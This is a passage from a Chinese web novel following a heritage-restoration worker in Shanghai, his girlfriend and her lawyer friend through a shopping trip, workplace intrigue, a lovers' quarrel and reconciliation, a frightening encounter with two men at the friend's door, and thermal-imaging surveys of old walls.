“哎呀油腻死了,真讨厌!” 小姑娘明显不是冷幽默的受众,当即举起手机打算录下来,并威胁说要把他挂网上,云云。 一言以蔽之,很有活力。 收拾完垃圾午,休小憩一会,太阳又斜了十来度。 交代张野接着‘绕墙走’,下午陆砚准备带苏棠去采购。 “不收学费还给你发钱,心里美不美?” 路上有人陪聊,便不算字面上的‘无聊’。 而且对方叽叽喳喳的,有呛头......路程就短了不少。 “你要拖欠工资我肯定去同济校内网上曝光!看看毕业老学长还要不要脸!” “小同志,我们要就事论事哦,” 说到曝光,陆砚是半点不怵。 当年同班班长还说他‘搞大女生肚子后家暴不断’呢。 呵,仗着自己没有几分姿色便为所欲为,真是下头。 “你看你上学,要交学费的吧?老师也不是无偿教你,为什么你尊敬他不尊敬我呢?有没有道理,回答我。” 他像在‘苏棠共和国’纳了税,骄傲竖起自己的政治大旗试图赚取更多‘政治资本’。 “上学交学费不就是为了出去把钱收回来呀?这么算下来,都是你欠我的!” 两人丢却了大脑,一路上展开各种无逻辑、脱离现实的对线,且算有来有回。 浦东新区杨高南路3298号,恒大建材市场到了。 “下去之前,清单再对一遍。”陆砚交代道。 会开玩笑的人自然懂得见好就收,苏棠就是会开玩笑的人: “防风加固类,防水覆盖类,排水抢险类三样嘛,我都背下来了。” 下午两点半的太阳毒辣。 她打着伞,边抨击不打伞的陆砚‘粗鄙’,边从包里掏笔记本和笔。 走在前头的陆师傅原在想,‘今天车位真空’。 可快到大门口才感觉不对劲。 第一次路过恒大建材市场时,是个盛夏的正午: 铁门被往来货车撞得哐当作响,里头人声鼎沸,像煮沸的油锅。 而现在—— 生锈的铁门关着大半,只剩条缝,漏出冷风。 褪色的‘清仓大甩卖’横幅在钢架结构上飘着,里头,空荡得可怕。 “陆师......这地方跟我想的不一样诶。” 门口涂料区残留的稀释剂味道混着霉斑气息,曾经摆满样品的墙面被撬得坑坑洼洼,露出灰白的水泥底色。 喇叭呢?切割机响声呢?烟火气呢? 说对了,这地方跟我想的也不一样! “进去看看。” ...... 世界总爱捉弄。 捏两把土双手一堆,便成高楼;再扬一把沙子下去,人才群星闪耀般冒尖。 玩腻了,起身就走,沙滩堡垒,迟早暴雷。 苏棠说,如果眼前就是赤裸裸的行业前景,还是文保局比较适合她。 陆砚也不曾想到,隔壁邻居的寒冬来得如此猛烈、却悄无声息。 唇亡、齿寒,苏棠说得不无道理。 曾有人跟他说,上游藏着个雷,他听了,也信了。 可只是脑子里、抽象的晓得了,有个雷。 当它幻化为具体的现实时——半截褪色的霓虹灯,满地碎玻璃和发霉的纸箱,一条街只剩三两家、还正在往外搬的店主—— 才能感知到,市场是如此毁灭性的破碎。 市场深处,热闹的餐饮区早已人去楼空。 可他们不是消失了,而是去另一个地方重新扎根; 偌大的街道搬离了,不是消失了,他们还要生活。 陆砚他们呢? 一只西伯利亚狼在海滩边看见鲸鱼尸体,尽管尸体只剩骨架,却足以提供一只狼的所需。 无需还价,他们买到了需要的物资,却没有开心喜悦。 第八十五章 熟人,别错过 杨灵灵‘秀恩爱’被顾南乔电话里抓包后,决定主动出击,两人约好悄悄去堵她、然后一起吃饭。 所以今天没在老洋房汇合,而是下班后各自前往: ‘上海市静安区江场三路121号先科律师大厦’。 来到杨灵给的地址—— 大厦线条流畅,造型简约,仅是站在跟前就给人一种专业而稳重的感觉。 额,或许还有普通人对律师自带的滤镜加持吧。 上次顾南乔电话里怎么说来着? ‘陆师傅倒是可以拿着土锹子帮忙在律所前面栽几颗树,中午出去吃饭的时候可以帮我遮遮阳’。 确实,没树遮挡,晒得很。 开进楼前停车场,陆砚在遮阳板下观望车外,烤得金黄的地面。 而他,却吹着空调不必遭受酷暑侵扰。 同时,可期的前途、稳定的圈子、娇美的女友......每样单拧出来,都值得珍惜、反复品鉴。 静下来的时候,总有身处云端的不真实感。 如同此刻手握着的方向盘,是能感知近在咫尺的事物。 理性大脑却一个劲的说,来之不易、好好珍惜。 他也一个劲的认可,却怎么都紧张不起来。 大抵,美好就像空气,能意识到却难以触摸、攥紧。 ...... 最可怕的从来不是现实——你把呼吸酿成海啸,把影子赋予生命,在空无一人的旷野里,用想象力给自己筑起了牢笼。 ‘苦日子’依旧没降临。 顾南乔这几天在档案馆待了十几个小时、来回好几趟跑。 不苦的。 在繁忙工作中充实,在充实生活里忘却,生活着、生活着,就习惯了。 今天总算把该查的信息弄清楚了。 拆迁案,黄浦区的部分厂房,对应委托金额不少。 一年经验的她当然不够用。 大案子多要组建工作团队,要有高年级律师帮忙主攻。 可好歹是案件的执行律师啊...... 向来不在意报酬的顾律师看着合同上的数字,头一回热切起来。 连带敲办公室门的时候都急促了些。 “进。” 王显宗没抬头,钢笔在报表上划动。 深灰色西装一丝不苟,鼻梁架着厚厚的镜片,眼眶深邃有神。 他是律所合伙人,也是律师的老板。 但顾南乔从不喊老板,觉得这个称呼别扭。 “王律,黄埔厂拆迁案件的准备好了,我来找你申请协助。” “顾南乔?好,晓得啦,你先出去。” 看来时机不对。 也是,快下班了,明天再聊吧。 她把门带上后准备收拾东西去杨灵家。 上次‘喝酒被重伤’,对方答应请她吃饭的。 没说具体时间,可不就由她心情了嘛~ “顾律师,案件顺利吗?” 方正脸,八字眉,是所里最刻苦的张律师。 “张律师呀,顺利的顺利的,你还在忙呀?” “加班!加着加着就习惯了。” 他说,正好有空,要请她喝咖啡。 顾南乔婉拒了。 今天这场对话,便是两人同一层楼共事以来,闲谈最多的一回。 根本就不熟好不啦! 没听过‘一星期交友法则’吗? 新人乍到一星期,两人通过各种社交却没构建友谊——就是没看上眼。 而且每个人都有每个人的圈子。 即使同为做题家,也爱分个三六九等,何况他和顾南乔呢。 哼着歌,地下车库的粉色路虎、都享受着对外15元一小时停车位。 而她,因律师身份,豁免收费呢。 可不得高兴嘛~ 刚出收费杆,一辆有些眼熟的皮卡停在路边,再三确认细节后,顿时笑了。 “陆师傅,违停被交警罚分了,想找律师上诉?” 车子开过来,守在边上的陆砚早早看见了她。 长发精心盘起,碎发自然垂落,大地色系、妆容精致,豆沙色口红、温柔不失气场。 粉西装配粉车......粉红税真赚钱。 “我晓得停这要扣分,但我赌交警会给你们面子。” “别贫了,来干嘛?有事说事。” 一点都不信现阶段的陆砚会私下约她。 如果真是...... 必须录音,然后告状! “你家闺女请吃饭赔罪呗,真是的,早知道停车嫩么贵就迟点来了!” “哈哈哈——” 停车费的槽点,无疑戳中了顾南乔,刚才她还因此乐呵呢。 “现在是等灵灵?要不我请你喝杯咖啡坐着等吧!” ...... 透着百叶窗往下望,粉色路虎赫然停在下面没有启动,旁边是辆福特皮卡。 两辆车‘霸道’的占据停车场通道口。 张羌还想着走关系进来的二代不会跟‘平民’交朋友呢。 呵呵...... 初次见到光鲜亮丽的顾南乔时,他的脑子里总会想起自己的前半生: 甘肃农村出生,父亲是村里少有的小学老师,因为欠人五百块钱而被堵上门。 永远忘不了,两个膀大腰圆的汉子当着他的面,给了他父亲两个巴掌。 总以为受村民爱戴、家中顶梁柱的父亲,一声没吭。 当时哪有贫困生补助? 即使有,也不会是...... 他的高中学费就是这样来的。 后来去了北方读书,老实的他依然看不到赚大钱的希望...... 一路浮沉、一路取舍,罔顾常纲、六亲不认,方来到上海,在三十岁的年纪拿到了三十万的年薪。 可顾南乔呢? 在无数午夜梦里荡漾的女人,一眼就让人自惭形秽的女人,二十六岁回国进所,工作不到一年转正,和他拿一样的钱、却从不加班。 若是可以触摸,这都是魅力加分项,她会成张羌最喜爱的人。 但人家正眼都不瞧过来。 呵呵...... 无所谓了,二世祖有一个算一个,终究会被打回原形的。 “笃笃笃!” “进。” 王显宗抬头,笑了笑。 “王总,最近破产申请起码要排队一个月,我们的案子肯定来得及。” “报告放下,我一会看。” “好的,我去加班了。” 闭门后,安静了。 桌上被纸张盖住的合同一角,赫然露着小行字——被告:顾明远。 顾明远他知道,建材圈的,跟所里另一位合伙人交情不浅。 交情不浅呐...... 王显宗揉了揉腰,放下眼镜准备吃饭。 他想,等这阵子忙完,怕是一两年不工作都够本了。 第八十六章 顾乔乔恋爱真言 两粉一黑,三辆车连贯在马路上。 杨灵觉得这阵子开心极了,最好的朋友在眼前,最喜欢的人在身后。 什么时候开车,能比现在更有安全感呢? 左转,红灯。 前面路虎先在斑马线处停稳,最后头的皮卡却一打方向盘、停到了她右边——那是直行道。 他要做什么? 降下车窗,发现对方的车玻璃也保持同步,顿时被戳中笑点。 “小妞别笑了,有没有烟?借个火。” 陆砚没摘墨镜,下巴微挑,口气轻佻——记得泼糯米胶那会,杨督察如此厌恶抽烟,嘿嘿。 警察若在场,仅凭这一小段就足以激发执法的意志。 盖因对方是个美女,保不住调戏者得寸进尺。 “大哥我没烟,你找我男朋友要去吧~” 美女气度不凡,遇到流氓也是不卑不亢搬出靠山,没有示弱的迹象。 “行,这就去。” 轻踩油门,皮卡向前滑动一个车位。 杨灵顿时不乐意了。 还有七十秒红灯呢,说一句话就走啦? 此刻全然忘了一开始想说的话题,心里小本本一个劲刻他的名字。 而陆师傅则精准找到自称是‘杨灵男朋友’的人,隔窗喊话:“兀那女人!看过来!” 精致妆容的脸蛋缓缓失去阻挡,DIOR耳环和她主人一样姿态抢眼。 人与人的交流凭证有很多种,从服装、发型到动作、神态,仅一项被凸显,就会被对方察觉。 陆砚的声调刚出来,顾南乔就自动调整为小剧场模式。 她精神头十足喊道:“看过来了,小赤佬说话!” “你这人忒没素质,那么大条马路不好好走,非停在路中央干嘛?收过路费呀?” “红灯呀!红灯!侬是红绿色盲还是交通法盲啊?红灯要停晓得伐?” 说完,眼神期待着对方的下文,卟啉卟啉眨着。 “你要停、别人不需要,后面的车子要走道的晓得伐?”偷学对面的语调,陆师傅接着挑衅,“你看看你,都把我逼到右边来啦!” 两人在大马路上用上海腔对话,语气顿挫间颇有吵架的氛围。 不少司机探出脑袋张望。 特别是陆砚后面那辆国产电动车,全程跟随的他、初听只觉那人脑子瓦特了,再听,卧槽这是高手。 不经意的,居然接连搭讪两位高净值女性! 原来如此...... 逻辑什么的都见鬼去吧,搭讪还得靠蛮力啊! “哦哟侬个猪头三,胆子老透额,全上海侪毕恭毕敬守牢额交通法,我倒要看看啥人敢勿守!(都守法,没人走)” “上海土著就是胆子小,你停好,哥们敢走!” 说罢一脚油门,卡在20迈附近越过斑马线缓缓驶离,后面国产电动车也启动跟上去。 顾南乔回头一看,自己这边还在读秒——但旁边是直行道! 真是的,左转红灯最难等了! 被路边油腻男‘调戏’后,她在车内‘咯咯’的笑,决定一会再报仇。 杨灵看了一肚子气,也是这样想的。 ...... 陆砚常常为杨灵的‘犯傻’而感到无奈。 下班突击顾南乔、请客吃饭是你想的,但怎么忘了买菜的事呢? 又请她吃顿外卖?还想讨骂? 哎...... 女朋友聪明是聪明,就是呆了点。 好在他是个心细又包容的优质男人,时刻会帮着查漏补缺。 “老板,肉能帮忙切吗?” 似乎每个商超内,肉铺档口都有位体格敦实的汉子坐镇。 菜刀在他们手里被玩出了花,上下抖腕间,丝状肉条被包好上称——表明切肉过程没短斤少两。 见状,陆砚又选了几样。 男人买菜就是如此,几乎不挑,一旦确认老板良心,立马成忠实客户。 出了超市,杨灵的电话正好打来,想必刚到。 “小妞找——” “陆砚你做什么去了。” 不是玩笑的语气。 “咳咳,我去买菜呀,刚遇到个不错的老——” “那你快回来。” 挂了。 人生真是寂寞如雪。 曾经,他有个温柔的女朋友,下班后总缠着说个没完......是指现任! 一转眼,她已经学会了挂电话。 为什么如此善变? 就仅仅是因为女人性情吗? 不。 不对劲。 陆砚敏锐的大脑在诸多细节中敏锐察觉了蛛丝马迹,并沿着脉络溯回源头、堪清真相: 肯定有狗头军师从中作梗! 顾乔乔,你离杨灵灵远点! 刚上车,还没启动,电话又来了。 是老陆。 “喂?” “吃了吗?老人家。” “哦哟,这可不得了......” 老陆先问他工作情况,又提起陆砚本该这几天结婚的表姐,男方出轨了。 不待他感叹完,对面话锋一转,拐到了情感话题上—— 好在现在杨灵是正儿八经的女友,陆师傅对答如流,底气特足。 ...... “灵灵,过来捶背!” “噢。” 顾南乔回这里比回自己家还惬意,换完鞋就使唤主人来搞服务,一点都不拘着。 盘腿坐地毯上——地毯白茫茫一看就干净——杨灵跪坐后面老实捶背。 没一会,腿酸了,姿势变为鸭子坐、捶背改为用手肘揉肩。 对方眯着眼,没有喊停的意思。 “乔乔。” “说。” “我累了。” 她这样说道,在没得到应允前却没有撂挑子的迹象,操着变形的姿势有气无力劳动着。 就像mean苦的打工人被临时喊来加班—— 下巴都快杵顾南乔肩上了,也还运转着,不是吗? “笑啊,电话里不是挺爱笑的吗?” “一点都不好笑。” 说话间,换了只手,她觉得自己的胳膊像要死掉了。 “现在,背一遍《文物保障法》第二十一条。” “在文物保护单位的保护范围内不得进行文物保护工程以外的其他建设......” 小嘴不间断‘吟唱’过程中,顾姓女子心情好多了,大手一挥特赦罪犯自由。 “我跟你说,这个谈朋友前面要收着点谈,反着谈,侬晓得伐?” 两人转了个身,现在轮到顾师傅上钟按摩,顺便说道从客户那听来的‘经验之谈’。 当然,杨灵打小就崇拜她,自然不会有疑。 她边捏着细皮嫩肉的肩膀——每捏一下对方就轻微缩一下,这时候就再轻点——边说: “他急你缓,他懈你鼓,他冷你暖。晓得吧?” “晓得。” 前面小脑袋点点头,一看就是好学生。 “前热别跟,中疲要撑,后淡需守——用耐心焐热激情,拿清醒守稳真心。晓得吧?” “晓——” “叮咚!” 没有停顿,起身去开门。 望着闺蜜匆忙穿拖鞋的动作,悄悄叹气。 晓得个头! 第八十七章 冲动 “咔哒!” “得亏我提前发现,不然咱们仨晚餐得吃燕麦。” 女人留给他一个背影,径直走向厨房: “物业已经把菜送上来了。” 额......敢情是自作聪明了。 “没事的嘞陆师傅,大不了我连来两天多帮帮忙咯。” 顾南乔良言三冬暖,抚慰了男人邀功未果的心。 褪下西装马甲以后,坐地毯上摇来摇去,饱满的身段呼之欲出。 “嘿,急人所急真律师,暖人暖心好帮手!” 顿时送上大拇哥点赞,换着鞋,说:“顾乔乔你——” “陆砚!快来帮忙。” 厨房里,杨灵探头,声音少见的迫切。 闻言赶紧过去—— 大理石台面,胡桃木橱柜墙,满墙数值表的厨房内,杨灵在洗菜。 “怎么了灵灵。” “帮忙切菜。”她说。 原来是‘帮忙切菜’啊,还以为有急事呢。 虽然切菜也挺急的,但是也不用急于一时啊。 既然不急的话...... “厨房有围裙吗?某些情景中这是个不错的时尚单品。” 陆砚笑着问,并且由衷想知道,对方穿上它会不会有‘人妻感’。 “......没有噢,下次你帮忙买吧。”杨灵想了想,“颜色要合适一点。” 不知为何,说起颜色,想到了顾南乔今天穿的粉色西装。 难不成,要买件粉色围裙? “说起颜色,那就不得不提每个人都喜欢的黄色,众所周知,黄色是一个值得研究的颜色,如果你有空......” “别贫啦,快动手。” “...” 抛开纷乱的想法,Chef正式上线。 上海家常菜讲究‘浓油赤酱’与‘清鲜爽口’并存,既要有烟火气又得精致入味。 虽做不出理论上的成色,但不妨碍以此为目标迸发。 陆砚切菜,杨灵调配料;菜切好,三个配料碗按顺序排好(有些不能同时放,所以分开装)。 起锅烧油,另一人在旁边看流程、掐秒表。 主厨和小帮手经过磨合后,已经建立了初步默契。 响油鳝丝、八宝辣酱烧肉、糟熘鱼片......都是没有的。 索性青椒肉丝、糖醋排骨、油焖笋片平替吧。 菜下锅前一秒,陆砚把她‘赶’了出去。 油烟味太腻,闻了影响食欲。 ...... 没有手机的日子,食堂饭卡都充不上钱。 胃实在难受,酒也喝不下。 冯小军在寝室颓了四天,约莫暴瘦十斤肉。 临近毕业,大家伙劳燕分飞的节奏里,‘悲伤’这件小事,显然可以三倍速、五倍速过掉。 蚂蚁抗住了一千度烈焰炙烤。 他和揪掉自己一撮头发的研究生学长,意料之外挺过来了。 生活,竟真的在继续。 走出营业厅,新手机里安着、花一小时补办的电话卡,社会层面的‘冯小军’又得以启动。 起先没反应,待到把‘移动数据’点开,便有了。 和想象中不同——没有山呼海啸的急促、亦没有绵延十几秒的震响。 三个群消息‘@’,其中两个是‘@全体成员’顺带捎上的;三条私信,一条是微信团队‘欢迎重登微信’。 他不知道是什么心情,几天来,觉得把未来的情绪都透支了去。 哦对了,还有两个未接电话。 遵从轻重缓急,他先回了张野的。 “喂,张师傅。” “卧槽,你小子还活着?” 夸张说辞之下,冯小军却觉得十分贴切。 “是,我还活着。” “什么情况?干什么去了?” 张野的问话没激起一点反感,他口里呼着新鲜空气,眼前看过洋溢青春的学弟学妹...... 还活着真是太好了。 “遇到了点事......” ...... 看杨灵一个劲‘刺’陆砚、又忍不住悄悄贴上去亲近,情意快溢出来了。 顾南乔维系着人设的正常: “灵灵,人家陆砚做个饭不容易,咱就别找茬了好啵。” 说完,给杨灵夹菜,正是刚被吐槽‘没她在旁边掐表、炒制时间长了’的糖醋排骨。 “本来就不该让我出来......” 她嘴硬着,态度却软下来。 陆砚见状接茬,“我是心疼你们女孩子洗头发麻烦,顾律师评评理!” “有理!” 脚下一痛。 犯人不仅不藏,还用眼睛瞪他。 光天化日之下岂有此理? 于是筷子一伸,从犯人碗里把排骨夹走。 “我的!” “乖,这个是大人吃的,你吃笋。” 杨灵没听,执意要那块。 女人就是那么奇怪,几千块的衣服说送就送,不拦着恨不得塞满后备箱往回搬。 而眼下,一块不起眼、有些焦黑的排骨,她搞了出分毫不让的架势。 莫名其妙。 “好吧好吧,宝宝护食起来了,见笑。” 顾南乔看向那个日益愚蠢的男人,压根不想回应。 男女之间,天性上有所区别。 不管男性再心细、再有经验,时间长了也会回归‘男人的状态’。 偏偏不自知。 她跟杨灵聊起了‘上海有哪些地方比较好玩’,推荐到甜爱路的时候,眼睛撇过来: “陆师傅体格大,不给女朋友夹菜的话,人家哪里争得赢你。” “是是是。” 搞好服务工作,偶尔发表意见,三人相对平淡吃完晚餐。 客人假模假式帮忙擦桌子,走到角桌处、看见玫瑰,顿时来了兴趣。 “‘我时常理性,好在爱不是理性的对立面,为我们兜底’,哦哟~,谁写的?大文豪是谁哟?” 听到内容第一时间陆砚就走过来,见还要接着念,赶快上去拦着。 “顾律师,”差点忘了下班时间对方不受约束,“顾乔乔,放着别动!” “我放着,你别过来,不然后果自负!” “笑了,有什么后果?” 说道,大步过来就要抓其手腕。 她也不动弹,仿佛汤姆猫算好斯派克(猫和老鼠中的狗)脖颈绳子的距离,胜券在握看陆砚靠近。 “陆砚!” 是杨灵。 顾南乔笑了,走的时候还热心把垃圾提了下去。 ...... 人走后,清洁做完,陆砚摘下橡胶手套,杨灵坐在沙发。 暖黄光,电视是黑的,窗外近乎是黑的。 “智能系统已为您适应当前气压。” 平时不会注意的机械音清脆响起,随后就连中央空调的风速,都能听出变大了。 陆砚想走。 尽管会让小问题变成大问题,还是想走。 这间开阔房子的主人摆脸色的时候,莫名的,觉得整个空间都在排斥他。 是造价不菲的家具在造价不菲的智能灯光下、趾高气昂的反光,刺痛了男人隐秘而脆弱的自尊? 他不这样认为。 没有人,生来需要低对方一等。 一个没来由就生气的女朋友,和一尊等着他来上供的大佛有何区别? 打个不恰当的比喻,他对自家那位都没这么恭敬! “没事的话,我先走了。” “...” 无人应答。 那就走呗。 玄关与客厅之间,侧面墙凹陷着一个个半圆,按一下,鞋柜就开了。 好个‘顶天立地’式分层,奢侈铺到了门口。 陆砚抽出自己的鞋,想走的心愈发坚定。 何时起,杨灵变得这么麻烦了? 怎么从未意识到,对方的性格如此敏感、情绪化? 确认关系以来,他可以对天发誓,绝对、绝对没有做任何对不起她的事。 至少,主观认知范围内没有。 该给予的耐心,给予了;该为对方做的事,做了。 就连做饭,不想让她沾上烟气,也成错事了?! 恋爱有这么谈的吗? 越想自己越对,越对,越上火——对方以一个毫不讲理的姿态、宛如居高临下的施舍态度和他相处。 哦,开心了凑过来抱一下,不开心了就甩脸色等他认错,是甲方爸爸啊? 鞋很快换好,依然没动静。 沉闷压抑的氛围笼罩身后整片空间,如夜色般,浓郁得化不开。 而他,正是因为感到窒息才想逃离。 相比之下,对杨灵微小的心疼,此刻无足轻重。 一个声音疯狂在耳边嘲笑,‘爱的尽头是什么’;一种荒诞感自此回荡全身,今天是要闹成哪般模样? 难道,将来回忆起第二段恋爱的时候,要总结道——‘吃个饭,她生气了,我也生气了,然后我们分手’? 哦,对了,那句话怎么说来着? ‘在自尊心和消极情绪联手的时候,告诉自己‘再试一次’,好吗’? 踏马地,真可笑。 出门,关门。 顾南乔答应带下去垃圾正在门口放着。 第八十八章 修炼爱情 手机响了,刚出门口。 结果是顾南乔。 “你们吵架了吗?” 对面上来就问。 “......没有。” 关于吵架这件事,两个人的时候确实挺较真,一旦第三方出现,当事人往往会羞于启齿。 此之谓,家丑不可外扬。 “灵灵呢?让她接电话。” “你找她不会给她打电话呀?” “她没接,别废话。” “...” 看来躲不过去了。 心一横,说:“今天住老洋房。” 然而不待把‘工作’搬出来顶罪的时候,对面已经开骂了: “你现在给我滚回去!听到没!” “......啊?” 他懵了。 倒不是因为对面的情绪。 换句话说,大家撑死不过朋友而已,谁没谁不能活啊? 但友谊也不必如此廉价,一个责骂就要与之‘决裂’。 “你现在,返回,今天哪都别去,我认真地说,知道了吗?” 刚才被点炸的顾南乔确实用最最认真的口吻在说事。 就像‘老人拖着大马林鱼返航时,每个步骤都压上性命’那样认真。 “......理由呢?” 你好人做到底,再给个理由,一切就名正言顺了。 “信我一次,就当帮忙。” 电话挂断,他已转意。 只是看着紧闭的门,迟迟不好意思再敲响。 忽然有点懊悔,刚才关门太洒脱。 要是厨房多待个两三分钟,现在不就没事了嘛! 所以说,人有时候不能太自信。 就在刚才,理智的陆砚总能通过各种客观事实提取各种证据,证明自己行为之正确、合理。 全然不曾想起,一天前,杨灵在方案上大度‘纵容’与‘妥协’时,他的感动。 对方前面种种心意、喜爱和他不曾察觉的事情,偏偏在冲动上涌的时候,总看不见。 情绪散了一半,视线‘变清晰’,才看到她的爱。 可是迟了。 一如每个孩子开始尝试情绪管理的时候,对自己说,冲动肯定会后悔——可事到临头变了主意,说,不冲动才后悔呢,软蛋! 感慨良多,不过一瞬间。 “叮咚,叮咚——” 按响门铃。 事情很难,举步维艰,它恰恰说明作对了。 任由冲动、再回避下去,才是真软蛋。 对心爱之人,不要说气话、不要说狠话,不要不说话。 “灵灵,是我。” “咔哒!” 背光阴影遮住了身姿的面部高光,陆砚分明看到她红着眼眶。 明明方才,一声不吭。 如果说敲门的时候,懊悔是一杯水;看到她的瞬间,那杯水便精准覆上了他的口鼻,几乎无法呼吸。 干瘪的声音说: “老......洋房太旧了,有点舍不得从这离开。” 示弱就示弱吧,面不面子的,见鬼去吧。 “好。” 她没哭,就是有点哽咽。 ...... 她的情绪从不是无主的云,而是被你掌心纹路牵引的纸鸢。 陆砚第三次这么想到。 然而每次都会重新感慨,对方的笨,和笨里的真诚。 也会借着对方看清自己——原来始终没变,上一秒世界冷酷、下一秒世界美丽的冲动思维,仍和小孩子那会似的,支配着他。 渐渐两人把话说开,他抱着她,沙发上面面相抵,怀抱相拥。 大雨后的芬芳、雪消后的生机都比不上此刻珍贵。 熟悉的幽香,指尖抚过发丝,下巴下、脖颈上传来的灼热气流,见证和好如初的两人。 “但是灵灵,再不能这样了。顾南乔是你最好的朋友,我是你男朋友,以后有些行为我克制,有些情绪你也要尝试忽略,懂吗?” “嗯,对不起。” “...” 陆砚没想到她会道歉。 上次也是,她道歉。 而那以后,杨灵确实有改变。 饶是最严格的老师,也不忍苛责知错就改之人。 他再无话可说,心里只有怜惜和感动。 “不用对不起。我也要跟你道歉,刚才不该和你置气的。总之,我们不要重蹈覆辙,多一些信任,好不?” 她换了一边脸颊贴胸口,环住腰的手紧了紧,说: “好。” 至此,悬着的心才松下来。 劫后心生喜悦,觉得有点好笑。 笑点不知所起,喜悦不知所踪。 虽然鱼又回到水里,有了氧气,可巨大的喜悦仅仅只在跃入水面的瞬间产生。 它总觉得不该如此平淡,渴望以更放肆、更露骨的方式来撒欢、庆祝。 对方任由他的手反复拂过肌肤,就像和不小心闹掰的邻居们再度建联一般,每处都不放过。 陆砚看到了一只蚌壳,当海水轻轻流过、擦拭在坚硬表壳时,它小心翼翼颤颤巍巍敞开了里面的柔软部分。 “灵灵,你知不知道有个词叫坦诚相待?” “知道。” “洗澡吧,一起。” “可是——” “不嫌弃你。” “......好。” ...... “喂,警察吗?我要报警。” 顾南乔连包都没要了,丢下高跟鞋往外跑。 “长宁路,天磬嘉苑,有两个人堵在我家门口!” 五分钟前,挂断陆砚电话进电梯,指示灯顷刻间跃至16。 伴随‘叮’的一声,1602的门号缓缓出现。霎时,它和顾南乔之间、两道视线一齐看来。 不颤而栗。 看到两人瞬间,胸口像被踹了一脚,气闷、慌张,肚子抽搐。 她保持最快速度按数字‘1’,最大的努力控制动作接近‘若无其事’的样子。 还是被察觉了。 他们冲过来,重踏在地的脚步瞬间把感应灯踩亮。 拧腰伸手往前探的姿势,那样恐怖。 口罩、黑短袖、小臂纹身—— 0.5秒,差0.5秒!电梯就会被按开! 她不知道发生了什么,也不知道来者目的,只觉得电梯下去得太慢、包包拉链竟如此难打开。 指尖在抖,努力按下每个人背了无数遍、却几乎没机会拨通的号码——110! ...... 总有一片天空,会留给相爱的人徜徉。 良久,洗完澡,神清气爽。 出来之后,杨灵坚持要穿睡衣,便由着吧。 就是要他努力考研,以后造火箭、当太空人,也乐意答应。 丢开碍事的鲨鱼公仔,相拥再无阻碍,陆砚算着对方的生理期还几天。 “灵灵,你小气的心思半点藏不住。” 她被水蒸过的面颊红润极了,口齿间还有百香果的味道: “就小气!” “顾南乔肯定晓得了,不怕闺蜜伤心?” “被乔乔晓得了就去找她蹭饭,道歉。” 声音气流挠得痒痒的,内容把他听乐了,“哪有道歉的人白蹭一顿饭的说法?” 她说她们之间就有,明天就去长宁路出租房蹭饭。 “不介意了?” “...” “不吃醋啦?” “......不了。” 总之,抱在一起咬耳朵的两人聊了很多,还顺带决定明天去找顾南乔吃饭的事宜。 陆砚说‘毛发少是不是因为大脑需要更多养分’的时候,杨灵已经抱着他睡着。 今天,换了睡姿呢,杨小姐。 值得一提的是,第二天出门,他的指纹也被记进密码锁。 第八十九章 慢慢捋,会顺的 顾南乔曾经看过这样句话: 让你彻夜难眠的恐惧,不过是大脑把尘埃捏成了巨石,让未发生的事提前在血管里生锈。直到某一天你攥紧拳头才懂—— 真正勒住喉咙的,从来都是自己反复编织的恐慌。 事实果真如此吗? 目睹两个陌生人蹲点家门口的时候,比想象中的恐惧更恐惧。 她情愿被‘未知’折磨得死去活来,也不想再体验刚才的事情,甚至不敢想——电梯被按停,会如何。 十一点半,顾明远的电话打不通。 长宁路,天磬嘉苑门口,警灯闪烁下,不少行人驻留旁观。 一个拖鞋短裤的中年人打量好久,上来问她怎么了。 没搭理。 顾南乔赤脚蹲在警车边,一遍、一遍拨打号码。 直到警察从小区出来,上前问话: “没看到你说的两个人,只捡到了一个包和一双高跟鞋,是你的吗?” “......是。” “如果坚持报案的话,现在需要你跟我们去局里做笔录。” 她忘了是哪条法律,也想不起公民具有哪些权力,下意识就想去警局待着。 此时,电话响了。 还没接通,她的眼泪就簌簌往下掉。 “乔乔?” “...” 说不出话,委屈上涌,嗓子不住呜咽,早已泣不成声。 顾明远一边道歉,一边向她保证不会有事...... 良久,视线才回过神,警灯在旁边闪烁。 她请求警察送她上楼,对方答应了。 ...... 七点,拉着杨灵浴缸泡澡。 出来匆匆吃完早餐,去花店,然后直奔老洋房。 嫩黄的树叶,明亮的马路,世界如此鲜活。 他在今天的玫瑰花束放了巧克力,路上买了六人份早餐,悠哉游哉开进新华路、老洋房前院。 “陆师傅,迟到了十分钟!对我们五个人来说,一人十分钟就是五十分钟,四舍五入一小时了!” 苏棠在门口张望,车还没停稳,她就靠过来。 又是背带裤...... 小小酥糖,可爱可爱。 “小苏啊,我的,要是不给你买早餐的话肯定不会迟到。” 既然要做善人,肯定会提前在‘古建再生事务所’大肆宣扬。 因此,陆砚有充分的理由迟到! “哼,慢死了。” 她嘀咕着,拉开车门提走塑料袋。 陆砚下车,跟后头进去。 “陆哥。” “我去,这不小军哥吗,好久不见!” 群内统计早餐的时候,张野多报了一份,便晓得某人要回归了。 “陆哥,小军可是瘦了不少,看出来没?” 怕小朋友又想不开,寸头男人赶过来插科打诨。 “看出来了——,回去操练了嘛~” “额......” 冯小军以前吹嘘过‘回去操练’的习惯,没想到陆师傅还记得。 心里一阵暖流。 其他人眼里却不认为场面和谐。 尤其是张野。 “陆哥,今天容光焕发,有什么喜事啊......哈哈。” 说罢,背对冯小军,向他挤眉弄眼。 ......算了,一个实习生还是养得起的,不能让张野寒心了。 “张哥,看到你们,还有小军,我高兴啊!” ...... 工作,让冯小军狠狠工作。 不知何时,他的报复一如杨灵那般‘温柔’,或许便是夫妻相吧。 “小军啊,中午给你加鸡腿、买可乐,你去把前院的墙都看一遍,标记别数漏了。” “好嘞!” 张野和陆砚搭手,搞老洋房和后院的清水墙; 冯小军独自在前院,照他在墙上的标记,按类型和位置,在病理图上做相应标识。 简单说,就是负责整理四五个快递货架的任务量,分类统计的工作。 “陆哥,他学校里遇到点事,耽搁了。” “小伙子年纪轻轻的,手指头破皮了都算天大的事!” 不以为意,赶紧结束话题,说: “张哥,一鼓作气,后院和二楼直接搞完,这周有天休息,怎么样?” “成。” 温和的日头处在他们斜前方,美好的生活,亦等在前方。 陆砚心热的一天假期需要此刻绷紧神经、拉足马力创造出来。 成像仪开机预热十五分钟很快过去,自动黑白平衡校准,发射率、湿度测试数据亦得到手动调教。 他们将整面墙按照两平方米一个格子逐块扫过,以‘S’形路径缓缓平移。 杨灵说,这样每帧图像重叠率最低。 即效率最高。 前端,陆砚双手握持热像仪,肘部夹紧身体,镜头与墙面保持垂直——每完成一个网格扫描,立即现场记录。 